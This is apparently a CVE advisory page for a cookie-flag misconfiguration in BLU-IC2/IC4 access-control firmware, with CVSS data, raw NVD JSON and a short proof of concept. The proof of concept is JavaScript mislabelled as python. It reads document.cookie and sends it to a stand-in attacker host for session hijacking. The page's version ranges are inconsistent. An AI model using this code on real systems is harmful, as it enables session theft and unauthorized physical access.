Security Vulnerability Report
中文
CVE-2025-12031 CVSS 5.3 MEDIUM

CVE-2025-12031

Published: 2025-10-21 18:15:36
Last Modified: 2025-11-07 20:10:04
Source: a0340c66-c385-4f8b-991b-3d05f6fd5220

Description

HTTP Security Misconfiguration - Lacking Secure and HTTPOnly Attribute may allow reading the sensitive cookies from the javascript contextThis issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:* - NOT VULNERABLE
BLU-IC2 < 1.19.5
BLU-IC4 < 1.19.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-12031 - BLU-IC2/IC4 Cookie Security Misconfiguration PoC * This PoC demonstrates how an attacker can exploit missing HTTPOnly and Secure attributes * to read sensitive cookies from the JavaScript context. */ // Step 1: Attacker injects malicious JavaScript (e.g., via XSS or compromised page) // The target BLU-IC2/IC4 device's web server sets cookies without HTTPOnly flag // Step 2: Read sensitive cookies from the JavaScript context (function exploitCVE_2025_12031() { // Attempt to access cookies - this works because HTTPOnly attribute is missing var sensitiveCookies = document.cookie; console.log("[+] Captured Cookies:", sensitiveCookies); // Step 3: Exfiltrate the cookies to attacker-controlled server var exfilServer = "https://attacker.example.com/steal"; var img = new Image(); img.src = exfilServer + "?cookies=" + encodeURIComponent(sensitiveCookies); // Alternative exfiltration via fetch (if CORS is misconfigured) /* fetch(exfilServer, { method: 'POST', body: JSON.stringify({ cookies: sensitiveCookies, origin: window.location.href }), headers: { 'Content-Type': 'application/json' } }); */ // Step 4: Use stolen session cookie to impersonate the victim // Attacker can replay the cookie to gain unauthorized access to the BLU-IC device })(); /* * Mitigation Verification: * Check Set-Cookie response headers from BLU-IC2/IC4 device: * Vulnerable: Set-Cookie: sessionid=abc123; Path=/ * Secure: Set-Cookie: sessionid=abc123; Path=/; Secure; HTTPOnly; SameSite=Strict */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12031", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-21T18:15:36.157", "lastModified": "2025-11-07T20:10:04.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HTTP Security Misconfiguration - Lacking Secure and HTTPOnly Attribute may allow reading the sensitive cookies from the javascript contextThis issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1004"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}